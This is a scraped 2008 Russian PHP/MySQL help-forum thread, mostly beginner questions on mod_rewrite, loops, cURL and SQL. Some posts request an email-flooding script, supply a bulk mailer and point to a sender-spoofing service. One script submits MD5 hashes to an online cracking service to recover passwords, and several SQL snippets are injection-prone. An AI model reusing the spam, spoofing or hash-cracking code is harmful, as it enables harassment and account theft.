</html> В результате работы этого кода в таблице создается новая строка. Но заполняется только ячейка id, в login и pass записывается точка. Подскажите, в чем дело?
Ïàðîëü:<input type=password name=password [value=10] [size=10] [maxlen=10]><br>
это еще что такое?
во-первых, зачем у тебя две вставки одинаковых данных?
во-вторых, точка у тебя во втором инсерте.
mysql_query("INSERT INTO `admin` (`login`, `pass`, `id`) VALUES ('{$login}','{$pass}', '8')") or print mysql_error();
попробуй так.
'.$login.'.............'.$pass
//Хм......php код вывелся совсем не тот что я написал...баг оО?
Писал когда-то от "нечего делать". Но если включен safe_mode, то тебе дальше www-дирректории не выйти.
а где safe_mode прописывается????
Namelles One
11.11.2008, 10:41
В php.ini
Так что - он или включен на данном хостинге, или нет - третьего не дано.
Здравствуйте!
На данный момент на сайте прикручен скрипт новостной ленты.
Пример ссылки на новость:
/news.php?news_section=49&news_page=2
В примере болдом выделена часть которая меняется.
Можно ли средствами ModRewrite в .htaccess передалть выдачу этой ссылки, например, на:
news2.html
Или что нибудь подобное.
P.s. Цель -> Получать на выдачи сслки в формате html, для более быстрой индексации гулем.
Большое Спасибо!
.:EnoT:.
11.11.2008, 16:00
Здравствуйте!
На данный момент на сайте прикручен скрипт новостной ленты.
Пример ссылки на новость:
/news.php?news_section=49&news_page=2
В примере болдом выделена часть которая меняется.
Можно ли средствами ModRewrite в .htaccess передалть выдачу этой ссылки, например, на:
news2.html
Или что нибудь подобное.
P.s. Цель -> Получать на выдачи сслки в формате html, для более быстрой индексации гулем.
Большое Спасибо!
ну просто news2.html я думаю не получится, т.к. у тебя ещё есть другой параметр news_section, который я думаю не статический.
В твоём примере можно сделать например так:
RewriteEngine On
RewriteBase /
RewriteRule ^news([0-9]+)-([0-9]+).html$ news.php?news_section=$1&news_page=$2 [L]
url будет выглядеть так: news49-2.html
[x26]VOLAND
11.11.2008, 19:57
Если брать обычные самописные шаблонизаторы, работающие по принципу str/preg-replace'a, то они заметно проигрывают смарти, ибо последний генерирует нативный пхп-шаблон, который работает быстрее всего...
Некоторым конечно нравится самим писать нативный код, но, имхо, смарти намного удобнее + множество других полезных функций.
В смарти очень много не нужных функций(ты их никогда не будешь использовать)Подгружаются только те модули/плагины которые ты сам используешь... А чистый смарти при обычной работе использует 30-35 кб памяти.
VOLAND']Если брать обычные самописные шаблонизаторы, работающие по принципу str/preg-replace'a, то они заметно проигрывают смарти, ибо последний генерирует нативный пхп-шаблон, который работает быстрее всего...
Некоторым конечно нравится самим писать нативный код, но, имхо, смарти намного удобнее + множество других полезных функций.
Подгружаются только те модули/плагины которые ты сам используешь... А чистый смарти при обычной работе использует 30-35 кб памяти.
Я последний раз юзал смарти год назад когда была вторая версия (:
ну просто news2.html я думаю не получится, т.к. у тебя ещё есть другой параметр news_section, который я думаю не статический.
В твоём примере можно сделать например так:
RewriteEngine On
RewriteBase /
RewriteRule ^news([0-9]+)-([0-9]+).html$ news.php?news_section=$1&news_page=$2 [L]
url будет выглядеть так: news49-2.html
Пример не работает почему-то :(
Кстати параметр news_section меняться не будет, так что его можно принять как статичный.
Как правильно переделать Ваш запрос? Оо
есть сайт: proxer.ru
там есть формочка, в которую вводим какой-нибудь урл и переходим на этот сайт уже через анонимную проксю.
так вот, как делать запросы на ту формочку, чтобы через свой сервис юзать сервис проксера ? Оо
мдаааа... а как его сделать?
++Norton++
12.11.2008, 00:20
Поместить на свой сайт html-страницу примерно с таким содержанием:
<html><body>
<form action="http://proxer.ru/action.php" method="post" target="_blank" id="form1">
<input name="url" type="text" id="url" value="http://" size="65" maxlength="200"> <input name="mode" type="submit" value="PRoX!">
<input name="mode" type="submit" value="List">
</body></html>
есть скрипт чтоб автоматом флудило емайл?
дайте плиззз:)
MafiaBoy3
12.11.2008, 12:22
Вообщем щас работаю на рельсах. Но откуда не возьмись появилась проблема с отображением русских слов!
Они просто отображаются у меня в опера 9.62 вопросами с маркерами, английский текст отображается прекрасно.
В чём проблема, почему мне не удаётся в браузере наблюдать русский текст?
-m0rgan-
12.11.2008, 12:30
Кодировку менять не пробовал? Иногда помогает...
ну просто news2.html я думаю не получится, т.к. у тебя ещё есть другой параметр news_section, который я думаю не статический.
В твоём примере можно сделать например так:
RewriteEngine On
RewriteBase /
RewriteRule ^news([0-9]+)-([0-9]+).html$ news.php?news_section=$1&news_page=$2 [L]
url будет выглядеть так: news49-2.html
Пример не работает почему-то :(
Кстати параметр news_section меняться не будет, так что его можно принять как статичный.
Как правильно переделать Ваш запрос? Оо
Кто-нибудь может с этим помочь?
OnArs
RewriteRule ^news([0-9]{1,5})\.html$ news.php?news_section=49&news_page=$1 [L]
Где {1,5} - минмально и максимально допустимое кол-во символов в параметре.
.::BARS::.
12.11.2008, 13:16
привет, есть такой вопрос, есть ссылки вида http://site.ru/add.php?id=xxx , где xxx это номера ид...
Вопрос заключается в том, что бы бы перебрать ссылки, то есть что бы скрипт сам переходил по ссылкам, например от ид1 до ид999.. как реализовать?
MafiaBoy3
12.11.2008, 13:31
-m0rgan-
а как сменить? - я через консоль работаю
привет, есть такой вопрос, есть ссылки вида http://site.ru/add.php?id=xxx , где xxx это номера ид...
Вопрос заключается в том, что бы бы перебрать ссылки, то есть что бы скрипт сам переходил по ссылкам, например от ид1 до ид999.. как реализовать?
$id = 0;
while(1)
{
$str = 'http://site.ru/add.php?id='.$id;
get_some_page($str);
$id++;
}
MafiaBoy3
12.11.2008, 13:58
а как сменить? - я через консоль работаю
-m0rgan-
12.11.2008, 13:58
Попробуй так:
chcp 1251 & java-Dconsole.encoding=windows-1254 myClass
Поместить на свой сайт html-страницу примерно с таким содержанием:
<html><body> <form action="http://proxer.ru/action.php" method="post" target="_blank" id="form1"> <input name="url" type="text" id="url" value="http://" size="65" maxlength="200"> <input name="mode" type="submit" value="PRoX!"> <input name="mode" type="submit" value="List"> </body></html>
непрокатывает такое :( переходит на proxer.ru с анонимной проксей... Oo
Кто-нибудь может с этим помочь?
попробуй:
RewriteEngine On
RewriteBase /
RewriteRule ^news([0-9]+)\-([0-9]+)\.html$ news\.php\?news_section\=\$1&news_page\=\$2 [L]
.:EnoT:.
12.11.2008, 15:45
Пример не работает почему-то :(
Кстати параметр news_section меняться не будет, так что его можно принять как статичный.
Как правильно переделать Ваш запрос? Оо
вообще обязан работать. Если news_selection статичный, то используй пример VDShark.
Если и это не заработает проверь включён ли вообще мод_реврайт на хосте, правильно ли установлена дериктория реврайта (относительно корневой диры)
news\.php\?news_section\=\$1&news_page\=\$2 [L]
:D
здравствуйте, возможно глупый вопрос
http://orangsoda.co.cc/test.txt
идет выборка из бд.
есть таблица news / из нее нужно выводить новости (например первые 5 ).
можете подсказать как это осуществить, учитывая что уже идет одна выборка не могу сообразить как сделать вторую
[x26]VOLAND
12.11.2008, 16:35
"SELECT id,page,title,meta_d,meta_k,text FROM settings LIMIT 0,5"
вопрос такой появился по оптимизации наверное)
что лучше, делать пару запрос к мускулю заганять все в массивы и обрабатывать,фильтровать.
или делать много мелких запросов к мускулю в тоже время разгрузить пхп
Меньше запросов, больше php, т.к большой трафик создается между базой и сервером
Меньше запросов, больше php, т.к большой трафик создается между базой и сервером
Трафик...Сказал бы что при больших выборках нагрузка неплохая получается + кол-во большое соединений с базой плохо сказывается
вообще обязан работать. Если news_selection статичный, то используй пример VDShark.
Если и это не заработает проверь включён ли вообще мод_реврайт на хосте, правильно ли установлена дериктория реврайта (относительно корневой диры)
:D
Если хостинг с cpanel это как то влияет?
.:EnoT:.
13.11.2008, 00:38
Если хостинг с cpanel это как то влияет?
нет, с-панель это всего-лишь панель управления аккаунтом. Узнай у своего хостера включен ли мод_реврайт..
проверка существования файла по фтп, через курл?
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_USERPWD, $userpwd);
curl_exec($ch);
$result = curl_exec($ch);
curl_close($ch);
догадываюсь что через
curl_setopt($ch, CURLOPT_QUOTE,$blabla));
подскажите
Chode, попробуй так:
function exist($input,$errstr)
{
$curl = curl_init($input);
curl_setopt($curl, CURLOPT_URL, $input);
$file = curl_exec($curl);
curl_close($curl);
if($file)
{
return 0;
}
else
{
echo $errstr;
return 1;
}
}
.::BARS::.
13.11.2008, 10:23
$id = 0;
while(1)
{
$str = 'http://site.ru/add.php?id='.$id;
get_some_page($str);
$id++;
}
не работает... вообще ничего не посылает!
не работает... вообще ничего не посылает!
конечно не работает этого был пример как это сделать а не полностью рабочий код
.::BARS::.
13.11.2008, 13:00
Ладно, не суть важно.. вот пару вопросов. как напечатать цыфры от 1 до 5 по порядку?
что будет если сделать так:
$a = '222';
$a = '333';
echo $a;
-----------
или как допустим если $a имеет одно значение, и это же а имеет второе. можно ли из примера выше вывести не последнее 333 а что бы вышло 222333?
prescott
13.11.2008, 13:16
Ладно, не суть важно.. вот пару вопросов. как напечатать цыфры от 1 до 5 по порядку?
что будет если сделать так:
$a = '222';
$a = '333';
echo $a;
-----------
или как допустим если $a имеет одно значение, и это же а имеет второе. можно ли из примера выше вывести не последнее 333 а что бы вышло 222333?
Второй оператор присваивания меняет значение переменной, а не дополняет.
Цифры от 1 до 5:
for ($i=1; $i<6; $i++) echo $i;
Чтобы сложить строки используем .=
$a='222';
$a.='333';
echo $a; ==> 222333
.:EnoT:.
13.11.2008, 13:30
prescott, имхо лучше так:
for ($i=1; $i<=5; $i++){
echo $i;
}
prescott
13.11.2008, 13:44
prescott, имхо лучше так:
for ($i=1; $i<=5; $i++){
echo $i;
}
не вижу плюсов твоего варианта. На 3 байта код тяжелее =)
.:EnoT:.
13.11.2008, 13:56
не вижу плюсов твоего варианта. На 3 байта код тяжелее =)
:D гг) Я имел ввиду что удобнее (для наглядности) писать от какого до какого числа гнать цикл, а не прибавлять к конечному числу 1, опять же моё имхо)
век высоких технологий, а они наносекунды меряют (с) GB
for ($i = 1; $i <= 5; print $i++);
:)
astrologer
13.11.2008, 15:04
как напечатать цыфры от 1 до 5 по порядку?echo 12345;
Как напечатать цифры от 1 до 1000 по порядку?echo join(range(1, 1000));
2.::BARS::.
for($i = 0; $i < 5; $i++) echo $i;
.:EnoT:.
13.11.2008, 17:03
2.::BARS::.
for($i = 0; $i < 5; $i++) echo $i;
Результатом будет 01234 :)
А так нормально будет =)
for($i=0;$i<5;) echo ++$i;
for($i = 1; $i < 6; $i++) echo $i;
))
Chode, попробуй так:
function exist($input,$errstr)
{
$curl = curl_init($input);
curl_setopt($curl, CURLOPT_URL, $input);
$file = curl_exec($curl);
curl_close($curl);
if($file)
{
return 0;
}
else
{
echo $errstr;
return 1;
}
}
каждый файл будет грузить? если их 1к будет, и все по 15 мб =) я буду "курлить" до пенсии
другой вопрос, запрос содержимого папки по фтп?
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_USERPWD, $userpwd);
curl_setopt($ch, CURLOPT_QUOTE, array("LIST О_о ", "QUIT")); //КАК ЗАПРОСИТЬ??? О_о
curl_exec($ch);
curl_close($ch);
например при
curl_setopt($ch, CURLOPT_QUOTE, array("DELE /1.txt "QUIT")); удаляет, а как запросить список файлов ну не знаю, с консолью не работал =( и помоему с режимами работы замута какая то, пассивный активный...объяснит кто?
<?php
ob_implicit_flush();
$subj = "тема"; //тема сообщения
$message = "сообщение"; //текст сообщения
$emails = file('emails.txt'); //файл с мылами(каждый на одну строку)
foreach($emails as $emails)
{
mail(trim($email),$subj,$message);
echo 'Отправлено к '.trim($email).'<br>';
flush();
ob_flush();
}
echo 'Отправка закончена.';
?>
можете сделать чтоб отселало смоего емайла login@mail.ru? кто сделает с меня + ;)
PandoraBox
13.11.2008, 19:33
http://snippy.ru/tags/ftp.html
можете сделать чтоб отселало смоего емайла login@mail.ru? кто сделает с меня + ;)
http://news.hut2.ru/mail/ отправляй с какого хочешь ;)
Что нужно прописать в файле .httacces чтобы предотвратить не только чтение файлов,которые находятся в данной папке но и также предостеречь чтение содержимого самих файлов?
Что не так? Отправляю в ИнетКраке ответ получаю с расшифрованым хешем
<?php
$fp = fsockopen("sqlinj.com", 80, $errms, $errno);
if(!$fp) {
echo "$errms : $errno";
} else {
$hash = "d8578edf8458ce06fbc5bb76a58c5ca4";
$query = "hash=".$hash."=%D0%92%D1%81%D0%BF%D0%BE%D0%BC%D0%BD%D0%B8%D1%82% D1%8C+%D0%9F%D0%B0%D1%80%D0%BE%D0%BB%D1%8C";
$data = "";
$out = "POST www.sqlinj.com/md5/index.php HTTP/1.0\r\n";
$out .= "User-Agent: Opera/9.62 (Windows NT 5.1; U; ru) Presto/2.1.1\r\n";
$out .= "Host: sqlinj.com\r\n";
$out .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
$out .= "Accept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\n";
$out .= "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\n";
$out .= "Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n";
$out .= "Referer: www.sqlinj.com/md5/\r\n";
$out .= "Proxy-Connection: Keep-Alive\r\n";
$out .= "Content-Length: 136\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
$out .= $query;
fwrite($fp, $out);
$data = fgets($fp, 136);
echo $data;
}
fclose($fp);
?>
На вид проблема тут:
1.)
$out .= $query;
->
$out .= $query."\r\n";
2.)
$out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
->
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
не проверял, может и в другом проблема.
$out .= $query."\r\n";
Зачем после тела запроса перенос делать?
.:EnoT:.
14.11.2008, 18:05
вот ещё:
$out = "POST www.sqlinj.com/md5/index.php HTTP/1.0\r\n";
замени на:
$out = "POST /md5/index.php HTTP/1.0\r\n";
Jer1cho,
$out .= $query."\r\n";
Последнюю строку запросса можно не разрывать.
$out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
а тут все правильно, тут как раз нужно разрыв сделать между Хидером и Боди.
Тут я думаю не в синтаксисе ошибка, а в самом запроссе =\ т.к. ответ приходит :
HTTP/1.1 400 Bad Request
$out .= "Connection: Keep-Alive\r\n";
Только close(да, кстати, причем тут Proxy-connection?), т.к у тебя не браузер. Спасибо, dx! Когдато выручил =)
$out .= "Content-Length: 136\r\n";
Не забудь посчитать длину пост-запроса.
$len = strlen($query);
$out .= "Content-Length: $len\r\n";
$out .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
$out .= "Accept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\n";
$out .= "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\n";
$out .= "Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n";
Это тоже бред, ты не браузер, не забывай.
$out = "POST www.sqlinj.com/md5/index.php HTTP/1.0\r\n";
Ха! Проверь пути! Получится такое:
$out = "POST http://www.sqlinj.com/md5/index.php HTTP/1.1\r\n";
Да, не забывай про протокол HTTP/1.0, им не поддерживаются много заголовков... Поэтому используй 1.1
Получиться должно примерно такое:
<?php
$fp = fsockopen("sqlinj.com", 80, $errms, $errno);
if(!$fp) {
echo "$errms : $errno";
} else {
$hash = "d8578edf8458ce06fbc5bb76a58c5ca4";
$query = "hash=".$hash."=%D0%92%D1%81%D0%BF%D0%BE%D0%BC%D0%BD%D0%B8%D1%82% D1%8C+%D0%9F%D0%B0%D1%80%D0%BE%D0%BB%D1%8C";
$data = "";
$len = strlen($query);
$out = "POST http://www.sqlinj.com/md5/index.php HTTP/1.1\r\n";
$out .= "User-Agent: Opera/9.62 (Windows NT 5.1; U; ru) Presto/2.1.1\r\n";
$out .= "Host: sqlinj.com\r\n";
$out .= "Referer: www.sqlinj.com/md5/\r\n";
$out .= "Connection: close\r\n";
$out .= "Content-Length: $len\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
$out .= $query;
fwrite($fp, $out);
$data = fgets($fp, 136);
echo $data;
}
fclose($fp);
?>
application/x-www-form-urlencoded
Не помню точно, но по-моему поля(post/get) должны передаваться в порядке их расположения на форме
while (!feof($fp)) {
$data .= fgets($fp, 128);
}
Все, разобрались) Спасибо Чаку, в итоге код получился таким:
<?php
$fp = fsockopen("sqlinj.com",80,$errms,$errno);
if(!$fp)
{
echo "$errms : $errno";
}
else
{
$hash = "d8578edf8458ce06fbc5bb76a58c5ca4";
$query = "hash=".$hash."&button=%D0%92%D1%81%D0%BF%D0%BE%D0%BC%D0%BD%D0%B8% D1%82%D1%8C+%D0%9F%D0%B0%D1%80%D0%BE%D0%BB%D1%8C";
$data = "";
$len = strlen($query);
$out = "POST http://www.sqlinj.com/md5/index.php HTTP/1.1\r\n";
$out .= "User-Agent: Opera/9.62 (Windows NT 5.1; U; ru) Presto/2.1.1\r\n";
$out .= "Host: sqlinj.com\r\n";
$out .= "Referer: www.sqlinj.com/md5/\r\n";
$out .= "Connection: close\r\n";
$out .= "Content-Length: ".$len."\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
$out .= $query;
fwrite($fp,$out);
while(!feof($fp))
{
$data .= fread($fp,4096);
}
}
fclose($fp);
if(preg_match('#<b>(.*?)#UiS',$data,$hash))
{
echo 'Полученный хэш - '.$hash['1'];
}
else
{
echo 'Хэш не найден.';
}
?>
не подскажете как создать столбик "id" который автоматически задаёт значение...
1.
2.
3.
....
Всё сделал...
CREATE TABLE `news` (
`id` int(5) NOT NULL auto_increment
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=0;
ТОгда такой вопрос у меня есть таблица "news"
В ней есть поля "id" "news" "date"
Как внести в поле "news" текст и чтоб зафиксировалась дата....
Ну и какой запрос на создание текста в это поле
И как создать функцию которая будет читать данные из этой таблицы?
открой любой мануал, ты спрашиваешь основы.
А как понять что бы зафиксировалась дата? И ещё, дата в каком формате? И ещё, вставлять INSERT читать SELECT. И ещё, нафег писать 3 поста, если можно нажать edit и отредактировать?
дата в формоте DATE а отображается 00-00-0000 =(
Byrger создай поле
`date` timestamp NOT NULL default CURRENT_TIMESTAMP
а када будешь выдёргивать дату делай
$res = mysql_query(SELECT UNIX_TIMESTAMP(date) AS date FROM `news` WHERE `id`=1);
$fetch = mysql_fetch_assoc($res);
а потом чтоб получить дату в любом формате можно сдлеать так
date('d-m-Y',$fetch['date']);
Byrger создай поле
`date` timestamp NOT NULL default CURRENT_TIMESTAMP
А можно попросить вас написать как будет выглядить SQl запрос...
----Через 5 мин ----
Всё сделал...
---Ещё 2мин----
А как сбросить счётчик id в БД
А то у меня была таблица
1...
2...
3...
потом удалил это всё и нумирация навых данных пошла с 4
Как можно это сбросить?
В phpmyadmin, в опциях таблицы auto_increment/ primary key, не помню точно
Byrger а зачем собсно ? какая разниа ... ид будет 1 или 120 ?
А не подскажите пример фунции которая будет читать всё что есть в таблице...
Или хотяб какой запрос за это отвечает в SQL...
Я делаю так а массив выходит по последнему в списке полю :(
$rec= mysql_query("SELECT * FROM news");
$a_row=mysql_fetch_array($rec);
print "<pre>";
var_dump ($a_row);
print "</pre>";
array(6) {
[0]=>
string(1) "7"
["id"]=>
string(1) "7"
[1]=>
string(4) "пока"
["news"]=>
string(4) "пока"
[2]=>
string(19) "2008-11-15 15:11:37"
["date"]=>
string(19) "2008-11-15 15:11:37"
}
Вот таблица News (скрин)
_http://s1.dump.ru/viewer/1214346/
Как вывести всё в этот массив...?
print "<pre>";
while($a_row=mysql_fetch_array($rec))
{
var_dump ($a_row);
} print "</pre>";
Да супер, вывелись 3 массива...
А как вывести содержимое массивов?
Допустим id news date
$rec= mysql_query("SELECT `id`,`news`,UNIX_TIMESTAMP(date) AS date FROM news WHERE 1");
while($a_row=mysql_fetch_assoc($rec))
{
echo 'id:'.$a_row['id'];
echo ' news:'.$a_row['news'];
echo ' date:'.date('d-m-Y',$a_row['date']).'<br />';
}
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot